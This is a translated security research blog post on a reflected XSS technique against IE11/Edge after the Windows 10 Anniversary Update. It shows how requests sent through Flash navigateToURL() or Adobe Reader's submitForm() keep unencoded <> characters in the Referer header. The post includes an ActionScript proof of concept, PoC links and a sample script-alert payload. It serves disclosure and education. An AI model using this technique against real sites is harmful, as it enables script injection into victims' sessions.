Windows 10周年更新后的Referrer跨站脚本攻击漏洞分析

本文详细分析了Windows 10周年更新后IE11/Edge浏览器在处理Referrer头时的安全变化,介绍了如何通过Flash和PDF插件绕过安全限制实现XSS攻击的技术细节,包含完整的PoC代码和验证过程。

XSS via Referrer After Anniversary Update

自Windows 10周年更新以来,微软似乎修复了IE11/Edge上的一些XSS技巧。Referrer行为就是其中之一。

以下页面直接写入HTTP_REFERER和document.referrer: https://vulnerabledoma.in/xss_referrer

之前IE/Edge不会对referrer字符串中的"<>字符进行编码。因此,我们可以通过以下PoC在该页面上实现XSS: https://l0.cm/xss_referrer_oldpoc.html?

但自从Windows 10周年更新后,IE11/Edge会对其进行编码。你将从该页面获得以下编码后的字符串:

HTTP_REFERER: https://l0.cm/xss_referrer_oldpoc.html?%3Cscript%3Ealert(%221%22)%3C/script%3E document.referrer: https://l0.cm/xss_referrer_oldpoc.html?%3Cscript%3Ealert(%221%22)%3C/script%3E

太糟糕了! 当然,我们仍然可以使用Win8.1/7 IE11。但我们也想在Win10上实现XSS,不是吗?:D

今天,我想介绍一个小技巧,在最新的Win10 Edge/IE11上使用referrer实现XSS。

这个技术非常简单。如果你从Flash的navigateToURL()方法发送请求,就可以轻松地将"<>字符串包含到referrer中,如下所示:

https://l0.cm/xss_referrer.swf?

ActionScript代码如下:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
package {
 import flash.display.Sprite;
 import flash.net.URLRequest;
 import flash.net.navigateToURL;
 public class xss_referrer extends Sprite{
  public function xss_referrer() {
   var url:URLRequest = new URLRequest("https://vulnerabledoma.in/xss_referrer");
   navigateToURL(url, "_self");
  }
 }
}

从访问结果可以看出,我们可以通过Referer请求头实现XSS。但遗憾的是,我们无法通过document.referrer属性实现XSS,因为它变成了空值。唉 :p

仅供参考,我也可以通过Acrobat API的JavaScript的submitForm()方法重现此问题。

我在装有Adobe Reader插件的Win10 IE11上确认了这一点。

PoC在这里: https://l0.cm/xss_referrer.pdf?

似乎通过插件发送的请求没有被考虑在内。

就是这样。在某些情况下可能会有所帮助 :) 谢谢!

发布时间: 2016年10月6日星期四晚上10:37
作者: Masato Kinugawa
标签: Edge, Flash, IE, Security, XSS

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计